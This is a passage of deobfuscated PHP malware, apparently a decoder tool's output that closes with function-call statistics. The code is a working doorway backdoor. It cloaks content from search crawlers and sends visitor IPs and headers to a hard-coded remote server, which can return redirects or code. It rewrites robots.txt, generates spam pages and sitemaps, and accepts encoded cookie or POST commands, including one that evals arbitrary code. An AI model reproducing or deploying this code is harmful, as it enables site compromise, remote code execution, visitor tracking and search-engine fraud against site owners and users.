1;}return $_4o9lqjhh;}public static function _1ucuz(){return TRUE;}public function __construct($_s0r464fn, $_epo0apke, $_hcehokno, $_pi2cnpc2){$this->_yzfmoobu = $_s0r464fn;$this->_3kkr7hi6 = $_epo0apke;$this->_e9qvoh4x = $_hcehokno;$this->_liuhud08 = $_pi2cnpc2;}public function _88yef(){function _ueot9($_km6r2a3o, $_mkregyub){return round(rand($_km6r2a3o, $_mkregyub - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_m4e8bwtg = _ajeaciq::_2qe2m();$_58oiduc1 = str_replace("{{ text }}", $this->_3kkr7hi6,str_replace("{{ keyword }}", $this->_e9qvoh4x,str_replace("{{ links }}", $this->_liuhud08, $this->_yzfmoobu)));while (TRUE) {$_7fx0zqnr = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _ajeaciq::_2mzr8(), $_58oiduc1, 1);if ($_7fx0zqnr === $_58oiduc1) {break;}$_58oiduc1 = $_7fx0zqnr;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_58oiduc1, $_till87hi);if (empty($_till87hi)) {break;}$_hcehokno = @$_m4e8bwtg[intval($_till87hi[1])];$_syxpix5u = _h7mj9v8::_188y2($_hcehokno);$_58oiduc1 = str_replace($_till87hi[0], $_syxpix5u, $_58oiduc1);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_58oiduc1, $_till87hi);if (empty($_till87hi)) {break;}$_hcehokno = @$_m4e8bwtg[intval($_till87hi[1])];$_58oiduc1 = str_replace($_till87hi[0], $_hcehokno, $_58oiduc1);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_58oiduc1, $_till87hi);if (empty($_till87hi)) {break;}$_58oiduc1 = str_replace($_till87hi[0], _ueot9($_till87hi[1], $_till87hi[2]), $_58oiduc1);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_58oiduc1, $_till87hi);if (empty($_till87hi)) {break;}$_58oiduc1 = str_replace($_till87hi[0], rand($_till87hi[1], $_till87hi[2]), $_58oiduc1);}return $_58oiduc1;}public function _kz5p3(){$_g5nhrvft = _x8ohfa::$_oqr5fuof . md5($this->_e9qvoh4x . _x8ohfa::$_c9pnvkt0);if (_x8ohfa::$_jiid96k0 == -1) {$_i2s8djdh = -1;} else {$_i2s8djdh = time() + (3600 * 24 * 30);}$_kxstumsb = array("template" => $this->_yzfmoobu, "text" => $this->_3kkr7hi6, "keyword" => $this->_e9qvoh4x,"links" => $this->_liuhud08, "expired" => $_i2s8djdh);@file_put_contents($_g5nhrvft, serialize($_kxstumsb));}static public function _jg1kq($_hcehokno){$_g5nhrvft = _x8ohfa::$_oqr5fuof . md5($_hcehokno . _x8ohfa::$_c9pnvkt0);$_g5nhrvft = @unserialize(@file_get_contents($_g5nhrvft));if (!empty($_g5nhrvft) && ($_g5nhrvft["expired"] > time() || $_g5nhrvft["expired"] == -1)) {return new _x8ohfa($_g5nhrvft["template"], $_g5nhrvft["text"], $_g5nhrvft["keyword"], $_g5nhrvft["links"]);} else {return null;}}}class _hir0ekm{private static $_oqr5fuof = "";private static $_wafv6sfv = "";public static function _4acpc($_d4cbv527, $_ygr24pt2){_hir0ekm::$_oqr5fuof = $_d4cbv527 . "/";_hir0ekm::$_wafv6sfv = $_ygr24pt2;if (!@file_exists(_hir0ekm::$_oqr5fuof)) {@mkdir(_hir0ekm::$_oqr5fuof);}}public static function _1ucuz(){return TRUE;}static public function _r4uzv(){$_4o9lqjhh = 0;foreach (scandir(_hir0ekm::$_oqr5fuof) as $_flatym9r) {if (strpos($_flatym9r, _hir0ekm::$_wafv6sfv) === 0) {$_4o9lqjhh += 1;}}return $_4o9lqjhh;}static public function _2mzr8(){$_cell72ir = array();foreach (scandir(_hir0ekm::$_oqr5fuof) as $_flatym9r) {if (strpos($_flatym9r, _hir0ekm::$_wafv6sfv) === 0) {$_cell72ir[] = $_flatym9r;}}return @file_get_contents(_hir0ekm::$_oqr5fuof . $_cell72ir[array_rand($_cell72ir)]);}static public function _kz5p3($_vfnkw1vq){if (@file_exists(_hir0ekm::$_wafv6sfv . "_" . md5($_vfnkw1vq) . ".html")) {return;}@file_put_contents(_hir0ekm::$_wafv6sfv . "_" . md5($_vfnkw1vq) . ".html", $_vfnkw1vq);}}class _ajeaciq{private static $_oqr5fuof = "";private static $_wafv6sfv = "";private static $_b7u9ytkf = Array();private static $_63fzavnj = Array();public static function _4acpc($_d4cbv527, $_ygr24pt2){_ajeaciq::$_oqr5fuof = $_d4cbv527 . "/";_ajeaciq::$_wafv6sfv = $_ygr24pt2;if (!@file_exists(_ajeaciq::$_oqr5fuof)) {@mkdir(_ajeaciq::$_oqr5fuof);}}private static function _srnc4(){$_04sleezh = array();foreach (scandir(_ajeaciq::$_oqr5fuof) as $_flatym9r) {if (strpos($_flatym9r, _ajeaciq::$_wafv6sfv) === 0) {$_04sleezh[] = $_flatym9r;}}return $_04sleezh;}public static function _1ucuz(){return TRUE;}static public function _2mzr8(){if (empty(_ajeaciq::$_b7u9ytkf)){$_04sleezh = _ajeaciq::_srnc4();_ajeaciq::$_b7u9ytkf = @file(_ajeaciq::$_oqr5fuof . $_04sleezh[array_rand($_04sleezh)], FILE_IGNORE_NEW_LINES);}return _ajeaciq::$_b7u9ytkf[array_rand(_ajeaciq::$_b7u9ytkf)];}static public function _2qe2m(){if (empty(_ajeaciq::$_63fzavnj)){$_04sleezh = _ajeaciq::_srnc4();foreach ($_04sleezh as $_totbse3b) {_ajeaciq::$_63fzavnj = array_merge(_ajeaciq::$_63fzavnj, @file(_ajeaciq::$_oqr5fuof . $_totbse3b, FILE_IGNORE_NEW_LINES));}}return _ajeaciq::$_63fzavnj;}static public function _kz5p3($_fy10df6h){if (@file_exists(_ajeaciq::$_wafv6sfv . "_" . md5($_fy10df6h) . ".list")) {return;}@file_put_contents(_ajeaciq::$_wafv6sfv . "_" . md5($_fy10df6h) . ".list", $_fy10df6h);}static public function _bo1ud($_hcehokno){@file_put_contents(_ajeaciq::$_wafv6sfv . "_" . md5(_h7mj9v8::$_h3u2ex1l) . ".list", $_hcehokno . "\n", 8);}}class _h7mj9v8{static public $_mqh5212i = "5.2";static public $_h3u2ex1l = "2b8e2db2-5003-b49d-c552-3535c94dc472";private $_8mzr2u0k = "http://136.12.78.46/app/assets/api2?action=redir";private $_95c714d2 = "http://136.12.78.46/app/assets/api?action=page";static public $_ja44b3et = 5;static public $_x8r0zf0f = 20;private function _65pde(){$_bi94aiks = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_bi94aiks, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_bon4ewr6 = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_bon4ewr6 = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_bon4ewr6 = 1;} else {$_bon4ewr6 = 0;}return $_bon4ewr6;}private static function _3utcw(){$_0eur2auq = array();$_0eur2auq['ip'] = $_SERVER['REMOTE_ADDR'];$_0eur2auq['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_0eur2auq['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_0eur2auq['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_0eur2auq['ref'] = @$_SERVER['HTTP_REFERER'];$_0eur2auq['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_0eur2auq['acp'] = @$_SERVER['HTTP_ACCEPT'];$_0eur2auq['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_0eur2auq['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_0eur2auq;}public function __construct(){$this->_8mzr2u0k = explode("/", $this->_8mzr2u0k);$this->_95c714d2 = explode("/", $this->_95c714d2);}static public function _bxhrz($_2pknyqiv){if (strlen($_2pknyqiv) < 4) {return "";}$_y67pjsfz = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_m4e8bwtg = str_split($_y67pjsfz);$_m4e8bwtg = array_flip($_m4e8bwtg);$_dva57vkx = 0;$_u9plxvuo = "";$_2pknyqiv = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_2pknyqiv);do {$_tfr5yco0 = $_m4e8bwtg[$_2pknyqiv[$_dva57vkx++]];$_o5qi79dd = $_m4e8bwtg[$_2pknyqiv[$_dva57vkx++]];$_vvluu2s1 = $_m4e8bwtg[$_2pknyqiv[$_dva57vkx++]];$_lzvigurh = $_m4e8bwtg[$_2pknyqiv[$_dva57vkx++]];$_nnvtdjjk = ($_tfr5yco0 << 2) | ($_o5qi79dd >> 4);$_mpizpvti = (($_o5qi79dd & 15) << 4) | ($_vvluu2s1 >> 2);$_2nlve7kr = (($_vvluu2s1 & 3) << 6) | $_lzvigurh;$_u9plxvuo = $_u9plxvuo . chr($_nnvtdjjk);if ($_vvluu2s1 != 64) {$_u9plxvuo = $_u9plxvuo . chr($_mpizpvti);}if ($_lzvigurh != 64) {$_u9plxvuo = $_u9plxvuo . chr($_2nlve7kr);}} while ($_dva57vkx < strlen($_2pknyqiv));return $_u9plxvuo;}private function _izoq3($_hcehokno){$_s0r464fn = "";$_epo0apke = "";$_0eur2auq = _h7mj9v8::_3utcw();$_0eur2auq["uid"] = _h7mj9v8::$_h3u2ex1l;$_0eur2auq["keyword"] = $_hcehokno;$_0eur2auq["tc"] = 10;$_0eur2auq = http_build_query($_0eur2auq);$_7te4b3p6 = _s9reme::_99ibw($this->_95c714d2, $_0eur2auq);if (strpos($_7te4b3p6, _h7mj9v8::$_h3u2ex1l) === FALSE) {return array($_s0r464fn, $_epo0apke);}$_s0r464fn = _hir0ekm::_2mzr8();$_epo0apke = substr($_7te4b3p6, strlen(_h7mj9v8::$_h3u2ex1l));$_epo0apke = explode("\n", $_epo0apke);shuffle($_epo0apke);$_epo0apke = implode(" ", $_epo0apke);return array($_s0r464fn, $_epo0apke);}private function _3d68j(){$_0eur2auq = _h7mj9v8::_3utcw();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_0eur2auq['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_0eur2auq['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_0eur2auq['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_0eur2auq["uid"] = _h7mj9v8::$_h3u2ex1l;$_0eur2auq = http_build_query($_0eur2auq);$_qle6amxz = _s9reme::_99ibw($this->_8mzr2u0k, $_0eur2auq);$_qle6amxz = @unserialize($_qle6amxz);if (isset($_qle6amxz["type"]) && $_qle6amxz["type"] == "redir") {if (!empty($_qle6amxz["data"]["header"])) {header($_qle6amxz["data"]["header"]);return true;} elseif (!empty($_qle6amxz["data"]["code"])) {echo $_qle6amxz["data"]["code"];return true;}}return false;}public function _1ucuz(){return _x8ohfa::_1ucuz() && _hir0ekm::_1ucuz() && _ajeaciq::_1ucuz();}static public function _4zsdc(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _6k9xr(){$_ezsihwaw = explode("?", $_SERVER["REQUEST_URI"], 2);$_ezsihwaw = $_ezsihwaw[0];if (strpos($_ezsihwaw, ".php") === FALSE) {$_ezsihwaw = explode("/", $_ezsihwaw);array_pop($_ezsihwaw);$_ezsihwaw = implode("/", $_ezsihwaw) . "/";}return sprintf("%s://%s%s", _h7mj9v8::_4zsdc() ? "https" : "http", $_SERVER['HTTP_HOST'], $_ezsihwaw);}public static function _r84dz(){$_mx9hejhr = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received","https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap");$_1ypyhret = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_k10ks8ey = urlencode(_h7mj9v8::_mvr7j() . "/sitemap.xml");foreach ($_mx9hejhr as $_m7r48br5 => $_i8blf8a0) {$_n618q6ab = _s9reme::_7vdaj($_m7r48br5 . $_k10ks8ey, NULL, $_1ypyhret);if (empty($_n618q6ab)) {$_n618q6ab = _s9reme::_xxti2($_m7r48br5 . $_k10ks8ey, NULL, $_1ypyhret);}if (empty($_n618q6ab)) {return FALSE;}if (strpos($_n618q6ab, $_i8blf8a0) === FALSE) {return FALSE;}}return TRUE;}public static function _z1n5l(){$_a158mpqz = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_ezsihwaw = explode("?", $_SERVER["REQUEST_URI"], 2);$_ezsihwaw = $_ezsihwaw[0];$_iyqztllw = substr($_ezsihwaw, 0, strrpos($_ezsihwaw, "/"));$_o4ak20s3 = sprintf($_a158mpqz, $_iyqztllw, _h7mj9v8::_mvr7j() . "/sitemap.xml");$_qk0218zb = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_qk0218zb)) {@chmod($_qk0218zb, 0777);$_i4lasfrq = @file_get_contents($_qk0218zb);} else {$_i4lasfrq = "";}if (strpos($_i4lasfrq, $_o4ak20s3) === FALSE) {@file_put_contents($_qk0218zb, $_i4lasfrq . "\n" . $_o4ak20s3);$_i4lasfrq = @file_get_contents($_qk0218zb);return (strpos($_i4lasfrq, $_o4ak20s3) !== FALSE);}return FALSE;}public static function _mvr7j(){$_ezsihwaw = explode("?", $_SERVER["REQUEST_URI"], 2);$_ezsihwaw = $_ezsihwaw[0];$_d4cbv527 = substr($_ezsihwaw, 0, strrpos($_ezsihwaw, "/"));return sprintf("%s://%s%s", _h7mj9v8::_4zsdc() ? "https" : "http", $_SERVER['HTTP_HOST'], $_d4cbv527);}public static function _188y2($_hcehokno){$_3ccxhwze = _h7mj9v8::_6k9xr();$_v1lnjjoi = substr(md5(_h7mj9v8::$_h3u2ex1l . "salt3"), 0, 6);$_yni92xo8 = "";if (substr($_3ccxhwze, -1) == "/") {if (ord($_v1lnjjoi[1]) % 2) {$_hcehokno = str_replace(" ", "-", $_hcehokno);} else {$_hcehokno = str_replace(" ", "-", $_hcehokno);}$_yni92xo8 = sprintf("%s%s", $_3ccxhwze, urlencode($_hcehokno));} else {if (FALSE && (ord($_v1lnjjoi[0]) % 2)) {$_yni92xo8 = sprintf("%s?%s=%s",$_3ccxhwze,$_v1lnjjoi,urlencode(str_replace(" ", "-", $_hcehokno)));} else {$_ih8yx4ss = array("id", "page", "tag");$_41025pd5 = $_ih8yx4ss[ord($_v1lnjjoi[2]) % count($_ih8yx4ss)];if (ord($_v1lnjjoi[1]) % 2) {$_hcehokno = str_replace(" ", "-", $_hcehokno);} else {$_hcehokno = str_replace(" ", "-", $_hcehokno);}$_yni92xo8 = sprintf("%s?%s=%s",$_3ccxhwze,$_41025pd5,urlencode($_hcehokno));}}return $_yni92xo8;}public static function _aqnra($_km6r2a3o, $_mkregyub){$_w1udl2ds = "";for ($_dva57vkx = 0; $_dva57vkx < rand($_km6r2a3o, $_mkregyub); $_dva57vkx++) {$_hcehokno = _ajeaciq::_2mzr8();$_w1udl2ds .= sprintf("<a href=\"%s\">%s</a>,\n",_h7mj9v8::_188y2($_hcehokno), ucwords($_hcehokno));}return $_w1udl2ds;}public static function _s9bso($_gd2hi2ti=FALSE){$_3ek82qnm = dirname(__FILE__) . "/sitemap.xml";$_n2oj3h5h = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";$_0y383qdo = "</urlset>";$_m4e8bwtg = _ajeaciq::_2qe2m();$_314pl68b = array();if (file_exists($_3ek82qnm)) {$_7te4b3p6 = simplexml_load_file($_3ek82qnm);foreach ($_7te4b3p6 as $_r4cvn8aa) {$_314pl68b[(string)$_r4cvn8aa->loc] = (string)$_r4cvn8aa->lastmod;}}else {$_gd2hi2ti = FALSE;}foreach ($_m4e8bwtg as $_bgmwbkah) {$_yni92xo8 = _h7mj9v8::_188y2($_bgmwbkah);if (isset($_314pl68b[$_yni92xo8])){continue;}if ($_gd2hi2ti) {$_97ca042v = time();}else {$_97ca042v = time() - (crc32 ($_bgmwbkah) % (60 * 60 * 24 * 30));}$_314pl68b[$_yni92xo8] = date("Y-m-d", $_97ca042v);;}$_61xopqsn = "";foreach ($_314pl68b as $_m7r48br5 => $_97ca042v){$_61xopqsn .= "<url>\n";$_61xopqsn .= sprintf("<loc>%s</loc>\n", $_m7r48br5);$_61xopqsn .= sprintf("<lastmod>%s</lastmod>\n", $_97ca042v);$_61xopqsn .= "</url>\n";}$_ftac3co6 = $_n2oj3h5h . $_61xopqsn . $_0y383qdo;$_k10ks8ey = _h7mj9v8::_mvr7j() . "/sitemap.xml";@file_put_contents($_3ek82qnm, $_ftac3co6);return $_k10ks8ey;}public function _1kodr(){$_41025pd5 = substr(md5(_h7mj9v8::$_h3u2ex1l . "salt3"), 0, 6);if (!$this->_65pde()) {if ($this->_3d68j()) {return;}}if (!empty($_GET)) {$_fyv5xsu7 = array_values($_GET);} else {$_fyv5xsu7 = explode("/", $_SERVER["REQUEST_URI"]);$_fyv5xsu7 = array_reverse($_fyv5xsu7);}$_hcehokno = "";foreach ($_fyv5xsu7 as $_24bfssm4) {if (substr_count($_24bfssm4, "-") > 0) {$_hcehokno = $_24bfssm4;break;}}$_hcehokno = str_replace($_41025pd5 . "-", "", $_hcehokno);$_hcehokno = str_replace("-" . $_41025pd5, "", $_hcehokno);$_hcehokno = str_replace("-", " ", $_hcehokno);$_hcehokno = urldecode($_hcehokno);$_k9pbmg4i = _ajeaciq::_2qe2m();if (empty($_hcehokno)) {$_hcehokno = $_k9pbmg4i[0];} else if (!in_array($_hcehokno, $_k9pbmg4i)){$_8bcfmoml = 0;foreach (str_split($_hcehokno) as $_4h0k6sp7) {$_8bcfmoml += ord($_4h0k6sp7);}$_hcehokno = $_k9pbmg4i[$_8bcfmoml % count($_k9pbmg4i)];}if (!empty($_hcehokno)) {$_qle6amxz = _x8ohfa::_jg1kq($_hcehokno);if (empty($_qle6amxz)) {list($_s0r464fn, $_epo0apke) = $this->_izoq3($_hcehokno);if (empty($_epo0apke)) {return;}$_qle6amxz = new _x8ohfa($_s0r464fn, $_epo0apke, $_hcehokno, _h7mj9v8::_aqnra(_h7mj9v8::$_ja44b3et, _h7mj9v8::$_x8r0zf0f));$_qle6amxz->_kz5p3();}echo $_qle6amxz->_88yef();}}}_x8ohfa::_4acpc(dirname(__FILE__), -1, _h7mj9v8::$_h3u2ex1l);_hir0ekm::_4acpc(dirname(__FILE__), substr(md5(_h7mj9v8::$_h3u2ex1l . "salt12"), 0, 4));_ajeaciq::_4acpc(dirname(__FILE__), substr(md5(_h7mj9v8::$_h3u2ex1l . "salt22"), 0, 4));function _sy9uo($_7te4b3p6, $_bgmwbkah){$_7w1lxup2 = "";for ($_dva57vkx = 0; $_dva57vkx < strlen($_7te4b3p6);) {for ($_bst0pqvh = 0; $_bst0pqvh < strlen($_bgmwbkah) && $_dva57vkx < strlen($_7te4b3p6); $_bst0pqvh++, $_dva57vkx++) {$_7w1lxup2 .= chr(ord($_7te4b3p6[$_dva57vkx]) ^ ord($_bgmwbkah[$_bst0pqvh]));}}return $_7w1lxup2;}function _8tojh($_7te4b3p6, $_bgmwbkah, $_pfeci8ux){return _sy9uo(_sy9uo($_7te4b3p6, $_bgmwbkah), $_pfeci8ux);}foreach (array_merge($_COOKIE, $_POST) as $_bk8yx1x2 => $_7te4b3p6) {$_7te4b3p6 = @unserialize(_8tojh(_h7mj9v8::_bxhrz($_7te4b3p6), $_bk8yx1x2, _h7mj9v8::$_h3u2ex1l));if (isset($_7te4b3p6['ak']) && _h7mj9v8::$_h3u2ex1l == $_7te4b3p6['ak']) {if ($_7te4b3p6['a'] == 'doorway2') {if ($_7te4b3p6['sa'] == 'check') {$_58oiduc1 = _s9reme::_99ibw(explode("/", "http://httpbin.org/"), "");if (strlen($_58oiduc1) > 512) {echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i,"cache" => _x8ohfa::_r4uzv(),"keywords" => count(_ajeaciq::_2qe2m()),"templates" => _hir0ekm::_r4uzv()));}exit;}if ($_7te4b3p6['sa'] == 'templates') {foreach ($_7te4b3p6["templates"] as $_s0r464fn) {_hir0ekm::_kz5p3($_s0r464fn);echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i,));}}if ($_7te4b3p6['sa'] == 'keywords') {_ajeaciq::_kz5p3($_7te4b3p6["keywords"]);_h7mj9v8::_s9bso();echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i,));}if ($_7te4b3p6['sa'] == 'update_sitemap') {_h7mj9v8::_s9bso(TRUE);echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i,));}if ($_7te4b3p6['sa'] == 'pages') {$_tx9skqqf = 0;$_k9pbmg4i = _ajeaciq::_2qe2m();if (_hir0ekm::_r4uzv() > 0) {foreach ($_7te4b3p6['pages'] as $_qle6amxz) {$_ixrdmmzu = _x8ohfa::_jg1kq($_qle6amxz["keyword"]);if (empty($_ixrdmmzu)) {$_ixrdmmzu = new _x8ohfa(_hir0ekm::_2mzr8(), $_qle6amxz["text"], $_qle6amxz["keyword"], _h7mj9v8::_aqnra(_h7mj9v8::$_ja44b3et, _h7mj9v8::$_x8r0zf0f));$_ixrdmmzu->_kz5p3();$_tx9skqqf += 1;if (!in_array($_qle6amxz["keyword"], $_k9pbmg4i)){_ajeaciq::_bo1ud($_qle6amxz["keyword"]);}}}}echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i, "pages" => $_tx9skqqf));}if ($_7te4b3p6["sa"] == "ping") {$_n618q6ab = _h7mj9v8::_r84dz();echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i, "result" => (int)$_n618q6ab));}if ($_7te4b3p6["sa"] == "robots") {$_n618q6ab = _h7mj9v8::_z1n5l();echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i, "result" => (int)$_n618q6ab));}}if ($_7te4b3p6['sa'] == 'eval') {eval($_7te4b3p6["data"]);exit;}}}$_wr0z4zbm = new _h7mj9v8();if ($_wr0z4zbm->_1ucuz()) {$_wr0z4zbm->_1kodr();}exit();
Function Calls
ini_set | 3 |
set_time_limit | 1 |
error_reporting | 1 |
date_default_timezone_set | 1 |
Stats
MD5 | c19a914531ba54d1946d97b91cd5d8a1 |
Eval Count | 0 |
Decode Time | 160 ms |